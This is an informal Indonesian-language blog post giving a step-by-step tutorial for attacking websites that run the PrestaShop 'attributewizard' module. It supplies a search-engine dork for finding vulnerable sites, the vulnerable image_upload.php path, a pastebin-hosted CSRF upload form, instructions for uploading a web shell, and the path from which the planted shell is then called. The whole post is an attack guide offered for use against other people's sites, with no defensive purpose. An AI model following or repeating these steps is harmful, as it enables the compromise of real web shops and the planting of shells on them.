Entah gua perenang atau bukan yang jelas gua suka nyelam :D
kali ini gua mau kasih turtor, namanya pretashop attribute upload.
langsung aja nih step by step
pertama copy dork di mesin pencarian lu.
lalu lu klik images biar makin banyak yang vuln
dork:inurl:/modules/attributewizard
kemudian masukan exploitnya jadi
:www.site.co.id/modules/attributewizard/image_upload.php
Exploit:/modules/attributewizard/image_upload.php
kalo ada bacaan error berarti vuln,
lalu upload shell lu, gimana ? gak ada tombol browse ? ya pake csrf lah :v
csrf http://pastebin.com/ZXg8hJLQ copy csrf di notepad dengan ekstensi, html
masukan taget, lalu pilih shell, kalo ada bacaan succes berarti berhasil :v
cara manggilnya
www.site.com/modules/attributewizard/img/id_group_.php
nama file lu jadi (id_group_.php) .php tergantung ekstensi lu kalo lu tanam html jadi (id_group_.html)
Sekian turtor dari gua, :D
No comments:
Write comments